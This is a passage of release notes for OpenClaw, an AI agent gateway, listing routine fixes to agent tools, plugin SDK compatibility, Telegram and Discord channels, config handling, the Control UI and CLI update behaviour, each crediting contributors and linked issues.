<li>Agents/tools: clamp <code>process.poll</code> waits to 30 seconds, advertise that cap in the tool schema, and honor abort signals while waiting, so long command polls cannot pin agent responsiveness after cancellation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK: add tracked Discord component-message helpers and a Telegram account-resolution compatibility facade, so existing plugins using those subpaths resolve while new plugins stay on generic channel SDK contracts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Shared labels: preserve Unicode combining marks and NFC-equivalent accented text in group/channel slug normalization so non-Latin labels no longer lose meaningful characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185745477" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58932" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58932/hovercard" href="https://github.com/openclaw/openclaw/issues/58932">#58932</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185851212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58942" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58942/hovercard" href="https://github.com/openclaw/openclaw/pull/58942">#58942</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4186444405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58995/hovercard" href="https://github.com/openclaw/openclaw/pull/58995">#58995</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fengqing-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fengqing-git">@fengqing-git</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Starhappysh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Starhappysh">@Starhappysh</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koen666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koen666">@koen666</a>.</li>
<li>Channels/Telegram: include probed video width and height when sending regular Telegram videos, so portrait clips render with the correct orientation instead of being stretched by clients. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3950913740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/18915" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/18915/hovercard" href="https://github.com/openclaw/openclaw/pull/18915">#18915</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/storyarcade/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/storyarcade">@storyarcade</a>.</li>
<li>Docs/Hetzner: clarify that SSH tunnel access requires <code>AllowTcpForwarding local</code> before running <code>ssh -L</code>, so hardened VPS sshd configs do not block loopback Gateway access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136710669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54557" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54557/hovercard" href="https://github.com/openclaw/openclaw/issues/54557">#54557</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136836006" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54564" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54564/hovercard" href="https://github.com/openclaw/openclaw/pull/54564">#54564</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4141007846" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54954/hovercard" href="https://github.com/openclaw/openclaw/pull/54954">#54954</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/satishkc7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/satishkc7">@satishkc7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blackstrype/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blackstrype">@blackstrype</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aftabbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aftabbs">@Aftabbs</a>.</li>
<li>Agents/config: preserve authored <code>agents.defaults.params</code> and per-model <code>agents.defaults.models[].params</code> during narrowed internal config writes, so OpenAI transport overrides such as <code>transport: "sse"</code> and <code>openaiWsWarmup: false</code> are not stripped from <code>openclaw.json</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344027749" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73607/hovercard" href="https://github.com/openclaw/openclaw/issues/73607">#73607</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quangtran88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quangtran88">@quangtran88</a>.</li>
<li>Agents/model config: resolve per-model extra params through canonical model keys while preserving legacy double-prefixed fallback entries, so provider-prefixed model ids such as <code>openrouter/auto</code> keep their configured runtime params. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066560428" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44319/hovercard" href="https://github.com/openclaw/openclaw/pull/44319">#44319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HenryXiaoYang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HenryXiaoYang">@HenryXiaoYang</a>.</li>
<li>Gateway/shutdown: report structured shutdown warnings and HTTP close timeout warnings through <code>ShutdownResult</code> while preserving lifecycle hook hardening. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4046867239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/41296/hovercard" href="https://github.com/openclaw/openclaw/pull/41296">#41296</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edenfunf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edenfunf">@edenfunf</a>.</li>
<li>Control UI: keep Agents Overview and config-form select dropdowns on their configured value after options render while preserving inherited agent model placeholders. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042433661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40352" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40352/hovercard" href="https://github.com/openclaw/openclaw/issues/40352">#40352</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4121542753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52948" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52948/hovercard" href="https://github.com/openclaw/openclaw/pull/52948">#52948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiaoquanidea/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiaoquanidea">@xiaoquanidea</a>.</li>
<li>Agents/exec: launch zsh, bash, and fish host exec shells with startup files suppressed while preserving existing PATH fallbacks, so daemon env is not overridden by shell startup files. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042016257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40200" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40200/hovercard" href="https://github.com/openclaw/openclaw/pull/40200">#40200</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041976066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40179" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40179/hovercard" href="https://github.com/openclaw/openclaw/issues/40179">#40179</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NewdlDewdl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NewdlDewdl">@NewdlDewdl</a>.</li>
<li>Plugins/QA: prebuild the private QA channel runtime before plugin gauntlet source runs so wrapper CPU/RSS measurements are not polluted by private QA dist rebuild work. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/QA: add a Kitchen Sink plugin gauntlet that installs the external package, checks command inventory, MCP tools, channel status, provider turns, gateway RSS, CPU, and fatal log anomalies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/config: reuse the bundled plugin alias scan within a single config normalization pass, so Kitchen Sink-style plugin configs no longer peg Gateway CPU by repeatedly rescanning bundled metadata before agent turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/channels: reject malformed runtime channel registrations that omit required config helpers before they can poison channel status. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>MCP/plugins: serialize raw plugin tool return values through the plugin-tools MCP bridge so Kitchen Sink-style tools no longer surface <code>undefined</code> content. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/reload: bound default restart deferral and SIGUSR1 restart drain to five minutes while preserving explicit <code>deferralTimeoutMs: 0</code> indefinite waits, so stale active work accounting cannot block config reloads forever. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory: register the prompt-build hook with the configured recall timeout plus setup grace instead of the 150s maximum budget, so default memory recall cannot delay turn startup for multiple minutes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/readiness: include an <code>eventLoop</code> diagnostic block in local or authenticated <code>/readyz</code> responses with event-loop delay (p99 and max), event-loop utilization, CPU core ratio, and a <code>degraded</code> flag, so operators can see when slow startups or runaway turns stall the event loop. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/agents: schedule accepted agent runs after the accepted RPC frame has a chance to flush, so pre-turn prompt/context work is less likely to starve immediate <code>agent.wait</code> callers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/update: tolerate stale memory-runtime import failures during best-effort CLI process teardown, so <code>openclaw update</code> replacing hashed runtime chunks before the finalizer runs no longer surfaces as exit-time <code>Cannot find module</code> noise. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/channels logs: reuse the rolling log-file resolver so <code>openclaw channels logs</code> falls back to the active dated log across date boundaries without reading unrelated custom log files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056125824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42875" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42875/hovercard" href="https://github.com/openclaw/openclaw/issues/42875">#42875</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056258292" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42904/hovercard" href="https://github.com/openclaw/openclaw/pull/42904">#42904</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057041029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43043/hovercard" href="https://github.com/openclaw/openclaw/pull/43043">#43043</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethanclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethanclaw">@ethanclaw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wdskuki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wdskuki">@wdskuki</a>.</li>
<li>CLI/update: skip tracked plugins disabled in config during post-update plugin sync before npm, ClawHub, or marketplace update checks, preserving their install records without failing the update. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347036954" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73880" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73880/hovercard" href="https://github.com/openclaw/openclaw/issues/73880">#73880</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>Control UI: fix Peak Error Hours showing incorrect hourly rates when the browser's timezone observes DST, by storing hourly message counts with UTC date keys and using DST-aware <code>Date.getHours()</code> for local conversion. Also extract <code>accumulateMessageCounts</code> helper to reduce duplicated daily/hourly aggregation logic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4092402816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49396" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49396/hovercard" href="https://github.com/openclaw/openclaw/pull/49396">#49396</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konanok/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konanok">@konanok</a>.</li>
<li>iMessage: normalize known leading attributedBody corruption markers on sent-message echo text keys so delayed reflected echoes with U+FFFD/U+FFFE/U+FFFF/FEFF prefixes are dropped without collapsing interior text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197665190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59973" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59973/hovercard" href="https://github.com/openclaw/openclaw/issues/59973">#59973</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197722194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59980" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59980/hovercard" href="https://github.com/openclaw/openclaw/pull/59980">#59980</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214583433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62191/hovercard" href="https://github.com/openclaw/openclaw/pull/62191">#62191</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maguilar631697/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maguilar631697">@maguilar631697</a>.</li>
<li>Security/audit: recognize dangerous node command IDs as valid <code>gateway.nodes.denyCommands</code> entries, so audit only warns on real typos or unsupported patterns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163604946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56923/hovercard" href="https://github.com/openclaw/openclaw/pull/56923">#56923</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chziyue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chziyue">@chziyue</a>.</li>
<li>Cron: treat implicit text payloads with agent-turn overrides as agent turns, preserving model overrides for scheduled text prompts instead of pruning them as system events. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4001694353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/28905" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/28905/hovercard" href="https://github.com/openclaw/openclaw/issues/28905">#28905</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236386081" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64060/hovercard" href="https://github.com/openclaw/openclaw/pull/64060">#64060</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoandi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoandi">@liaoandi</a>.</li>
<li>Telegram/exec approvals: stop treating general Telegram chat allowlists and <code>defaultTo</code> routes as native exec approvers; Telegram now uses explicit <code>execApprovals.approvers</code> or owner identity from <code>commands.ownerAllowFrom</code>, matching the first-pairing owner bootstrap path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Plugins/providers: keep Gateway startup primary-model discovery on metadata-only provider entries and reuse active non-speech capability providers even with explicit plugin entries, avoiding unnecessary provider registry loads during startup and media capability checks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345357678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73729" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73729/hovercard" href="https://github.com/openclaw/openclaw/issues/73729">#73729</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346570757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73835" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73835/hovercard" href="https://github.com/openclaw/openclaw/issues/73835">#73835</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346027613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73793" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73793/hovercard" href="https://github.com/openclaw/openclaw/issues/73793">#73793</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346797079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73853" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73853/hovercard" href="https://github.com/openclaw/openclaw/pull/73853">#73853</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346030125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73794/hovercard" href="https://github.com/openclaw/openclaw/pull/73794">#73794</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sg1416-zg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sg1416-zg">@sg1416-zg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/poolside-ventures/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/poolside-ventures">@poolside-ventures</a>.</li>
<li>Chat commands: route sensitive group <code>/diagnostics</code> and <code>/export-trajectory</code> approvals and results to a private owner route, preferring same-surface DMs before falling back to the first configured owner route, so Discord group invocations can land in Telegram when that is the primary owner interface. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Gateway/hooks: keep successful <code>deliver:false</code> agent hooks silent, log a hook audit record for suppressed success announcements, and suppress fallback summaries after attempted hook delivery while still surfacing failed hook runs. Repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4151948578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55761" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55761/hovercard" href="https://github.com/openclaw/openclaw/pull/55761">#55761</a>; builds on <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4028886435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/36332" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/36332/hovercard" href="https://github.com/openclaw/openclaw/pull/36332">#36332</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091099015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49234" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49234/hovercard" href="https://github.com/openclaw/openclaw/pull/49234">#49234</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EffortlessSteven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EffortlessSteven">@EffortlessSteven</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cioclawcode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cioclawcode">@cioclawcode</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BrennerSpear/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BrennerSpear">@BrennerSpear</a>.</li>
<li>Plugin SDK/Discord: restore a deprecated <code>openclaw/plugin-sdk/discord</code> compatibility facade and the legacy compat group-policy warning export for the published <code>@openclaw/discord@2026.3.13</code> package, covering its config, account, directory, status, and thread-binding imports while keeping new plugins on generic SDK subpaths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344804450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73685" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73685/hovercard" href="https://github.com/openclaw/openclaw/issues/73685">#73685</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345028871" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73703" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73703/hovercard" href="https://github.com/openclaw/openclaw/pull/73703">#73703</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rderickson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rderickson9">@rderickson9</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Channels/Discord: suppress duplicate gateway monitors when multiple enabled accounts resolve to the same bot token, preferring config tokens over default env fallback and reporting skipped duplicates as disabled. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344054955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73608" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73608/hovercard" href="https://github.com/openclaw/openclaw/pull/73608">#73608</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>.</li>
<li>CLI/health: build channel health summaries from inspected credential metadata plus runtime state, so <code>openclaw health --json</code> reports Discord <code>running</code>, <code>connected</code>, and <code>tokenSource</code> consistently with channel status. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066903951" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44354" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44354/hovercard" href="https://github.com/openclaw/openclaw/issues/44354">#44354</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferenc-acs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferenc-acs">@ferenc-acs</a>.</li>
<li>Control UI/Talk: decode Google Live binary WebSocket JSON frames and stop queued browser audio on interruption or shutdown, so browser Talk leaves <code>Connecting Talk...</code> and barge-in no longer plays stale audio. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343876260" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73601" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73601/hovercard" href="https://github.com/openclaw/openclaw/issues/73601">#73601</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342101919" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73460" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73460/hovercard" href="https://github.com/openclaw/openclaw/issues/73460">#73460</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342138204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73466/hovercard" href="https://github.com/openclaw/openclaw/pull/73466">#73466</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>.</li>
<li>Channels/Discord: ignore stale route-shaped conversation bindings after a Discord channel is reconfigured to another agent, while preserving explicit focus and subagent bindings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344233247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73626/hovercard" href="https://github.com/openclaw/openclaw/issues/73626">#73626</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ramitrkar-hash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ramitrkar-hash">@ramitrkar-hash</a>.</li>
<li>Agents/bootstrap: pass pending BOOTSTRAP.md contents through the first-run user prompt while keeping them out of privileged system context, and show limited bootstrap guidance when workspace file access is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344203540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73622" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73622/hovercard" href="https://github.com/openclaw/openclaw/issues/73622">#73622</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mark1010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mark1010">@mark1010</a>.</li>
